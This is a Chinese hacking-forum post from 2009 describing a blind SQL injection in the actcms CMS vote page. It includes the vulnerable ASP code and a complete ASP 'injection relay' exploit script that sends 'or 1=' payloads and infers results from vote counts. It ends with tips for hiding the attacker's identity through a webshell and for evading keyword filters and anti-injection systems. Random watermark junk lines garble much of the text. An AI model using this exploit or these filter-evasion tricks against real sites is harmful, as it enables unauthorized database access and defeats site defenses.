注入中转的高级应用，actcms漏洞以及其他

admin

& C  o$ j! ~( G. n5 j( m看到ninty大牛的blog的一篇文章
# Q6 ?7 H; Y" X4 f+ Q) ?* n链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
0 \$ W, Q$ n7 J/ V+ t转载请注明以上
/ y0 B1 V: a6 b. G, I6 D漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
# L, ~* p: x( r( ?5 E* P
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
; o+ b5 N, t' W( Y/ Z
6 _. Y, P' z" E3    response.end   

4    end if   
( d) v2 ~: @) a' Q; X) p
5    for i=1 to request("voted").count   

6 u( F* u' m  P* q! Y8 `6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
' Z2 Z- C3 j' ]4 s
0 o& h! a! `1 b( G' X7 a$ h7    next   
9 c' j' P6 V5 _6 K
8....   
  u( U4 G( ?5 M& {6 T
9 h# ]1 o0 m% I5 l) N8 I9response.Redirect "index.asp?id="&id&""   
1 U" d; p9 m! w0 o投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
3 v+ F" v/ _1 {  C            失败票数不变
如图：
$ `! C1 H! u( j7 F& @! E2 Y2 Rhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

2009-12-27 13:20
+ ~0 n! G8 i# y& P+ F8 d
6 z" q2 I2 y- v: s, k# T利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
1 H% q8 s# T, P6 |) @3 h' g先用寂寞的刺猬大牛的注入中转生成jmget.asp
2 ~% m4 a. |. J; ^9 K$ Z注入地址：http://localhost/actcms/plus/vote/vote.asp
+ E$ |. N0 r+ d注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
/ m4 U/ q( W" C# o. q
/ }% D( ^: ?( G/ V1 }: y02JmdcwName=request("jmdcw")
6 n+ J( {; T! e: u% J" s6 W
8 m3 U) d1 E: Q; N) u" D8 E" Z03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
9 U1 W1 f5 b" [* }0 w" U& [
04JmStr="id=1&voted=-1 or 1="&JmdcwName

! Y  l0 |5 b- V: b& |0 C: c# n05JmStr=URLEncoding(JmStr)

  F* l+ N! O! i; A. i( |06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
0 e# b3 Z  N2 ~( u2 B% W
, p3 Z- j  m  F3 Y1 ^& A7 i% n$ i07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

08testurl=testurl & "?" & JmStr

. F8 u( _/ q2 }4 h0 P% Y09JMUrl=JMUrl & "?" & JmStr
5 L  Y. y& [) Y, P7 m  ?: i
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
) q4 w0 m% f, \
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
, c& s) r: z  B  V# N2 T
. v) G, a' D) l: y4 x12JmCok=replace(JmCok,chr(32),"%20")  
, A( _  J9 S( X% R' C; [
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

3 S3 e5 |1 N" q& V4 q1 c14  
: O- q' d, _9 B  Z! Z3 @
9 }5 B7 L$ D/ m+ E8 H; _$ }# a15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
3 `6 G; H4 u- m/ B# Q, q. }8 r
$ W7 b/ `1 ^9 C0 j0 }1 s0 U16  

# i, b; {5 G3 z; R0 h; U/ f# E17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

+ \3 Z: v( X- H0 D5 x6 Q6 G( y18response.write test1&""&test2&""

19  
) _+ W) x& g3 q  r7 Y
4 b8 _9 j2 n# o8 M8 h20if test1=test2 then '如前后记录相等，表示失败
/ w- M+ b1 Z/ X4 {5 i) L- s) D
21  response.write "failed"

22else

23  response.write "succeed"
" i" V# o2 G+ b( a' b' Y
24end if  

25  
1 P" t  p4 w1 T* w" ?% D# W
26response.write "by 3x"
$ A! B" n. X. r$ N" d
: A7 W  _7 d# z1 d# i. V- f# J27  

/ h2 l' y3 W* J2 a! V8 `* ?7 x( S' ]28  
7 E* x. }+ s  `
& o: u6 u' X2 s7 v29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
* k) a7 u, N3 h  V5 G, R) o
' b# h- _* b" w3 i30Dim Http

# W9 ?7 \' m: L8 `5 D31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

' S2 z$ x# m: k32With Http

5 s; K4 c1 w2 T0 W8 [' B) V' S33  
4 `% a) j0 A' I$ F$ K$ ^
& p: l5 Q( [2 c1 k  a34.Open "GET",PostUrl,False
. B  b: a% h6 z! ~. {# f# {
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

0 E, Y+ Q: H3 O, J) T1 h36.SetRequestHeader "Referer",PostRef

$ i' Y2 K9 j) M1 I# F8 y37.SetRequestHeader "Cookie",PostCok
" }9 S' d7 G( Y- z' f- ?* i
* H8 m7 Y/ ?" o) U% D38.Send ()

39PostData = .ResponseBody

( Z' u; w2 c- K3 T' ~40End With

41Set Http = Nothing

6 O  a. q$ h7 r; D& ]; T5 n42PostData =bytes2BSTR(PostData)

! F. C, w' |/ B& J43End Function

44  

2 P! h9 O; T$ o  o, v3 X45  
4 Z! o1 A  ^% V* Q
46Function bytes2BSTR(vIn)

. H/ `* @" r. I; U, [- \, s, y! h+ b3 F9 i47Dim strReturn
6 v. J7 R9 |" D, \+ l
' [7 M/ X7 l+ \5 i; V48Dim I, ThisCharCode, NextCharCode
- w  |% j: h! |5 Q/ Z
# V1 d. ?  \- f) _49strReturn = ""

50For I = 1 To LenB(vIn)

7 `) R% _) W/ L2 m3 E51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then

7 d; K8 R9 c3 b6 g) I2 w  _% X53strReturn = strReturn & Chr(ThisCharCode)

54Else
9 f8 a4 {1 ^) d  H& Z4 Y
6 i; c. v/ F2 f! v55NextCharCode = AscB(MidB(vIn, I + 1, 1))
! u& |9 g) C2 {. ?4 ?* s# g2 o! J
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

' [5 v' I$ ^9 ~) a) K* z8 H' R57I = I + 1

58End If

59Next
" w" B$ r, ?' h
4 E9 J6 |, H0 Q& [' b, b& B4 x. |5 F60bytes2BSTR = strReturn
* o; ^! h4 y  X' P; {
% c6 [$ c, K, C  V4 G61End Function

62  

2 C% Z- w9 c$ D4 _1 [& p  F( O63Function URLEncoding(vstrin)  
3 K* [* }' \0 v* d: ^0 l3 F3 S
64strReturn=""
9 O2 q' A. ~1 A+ K( T2 K- F- e
* h2 ^$ N5 i0 a65Dim i

66For i=1 To Len(vstrin)

' ?: v3 {% O8 v67ThisChr=Mid(vstrin,i,1)

( I5 L5 ]9 h( k3 X9 C68if Abs(Asc(ThisChr))< &HFF Then

3 [& i9 g+ R( T& N2 g  a69strReturn=strReturn & ThisChr
; h) m* x3 L; z
, ~$ z1 V9 _% G" ^70Else
( h; M  q1 R' v, c
71InnerCode=Asc(ThisChr)
% u7 J! i# k- u; D/ g8 z0 K
72If InnerCode<0 Then

) L, @; G% s$ G7 L" _" Y3 X! t2 M73InnerCode=InnerCode + &H10000

( n. _7 ~0 `0 q  [4 B5 e; }8 v74End If
5 m8 z+ u* {9 A& {& q
75Hight1=(InnerCode And &HFF00) \&HFF

% l. V& @; o' f, u! Z* j76Low1=InnerCode And &HFF
' q% X; @' ~5 ]- B/ \8 Z
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
* S( }3 C! U# W% _3 }$ |
78End if

; c* }2 c; P& z: u79Next
5 V6 }8 D& f5 A9 C
5 `" w8 b2 {  w1 S) e! i80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

0 E  A9 Z$ V& g# R' r81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
6 N4 R6 h, c- I# ?
+ t  x7 y. Y5 n5 Y8 k83URLEncoding=strReturn

84End Function
. B0 I7 Y0 T+ q% @8 t
+ C# r; h' H+ a( |4 r. C& T85  

6 g6 B8 K8 z/ c$ b( O86function getSt(body)

87  startpot=instr(body,"投票人数：")+len("投票人数：")

  a0 F$ E7 S+ i  ]88  endpot=instr(startpot,body," ")
# o) L( r7 k: Q" p
89  getSt=mid(body,startpot,endpot-startpot)
. V+ ?' G% W7 Y
90end function

0 Y4 ^1 ^/ n' c- ~: e: h9 Y91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
. S. b  j& i2 b) b  K6 E投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

2009-12-27 13:29
投票失败
) Y. r( s0 \$ a4 `1 i: U! Y# rhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
+ x0 M4 I# m: |# s
2009-12-27 13:29
-------------------------------------------------------------------------------
. R, g) p; {% U& w再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
) X( C. l! E0 z# h% ^所以失败。。。不好意思。。。
+ e, Z- r+ Q" s-------------------------------------------------------------------------------

7 R! z' x  a* u7 L. j$ G. v注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
( Z' j, p( Y0 r  Z1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
1 X" e* d- H& ?8 u7 x+ l! W2.post注入转成get型的注入，方便我们使用工具来跑
5 }5 \) i8 R. Y" R3 r! ]6 M7 A9 i3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过

; B/ N; Y% u3 K- E2 W; u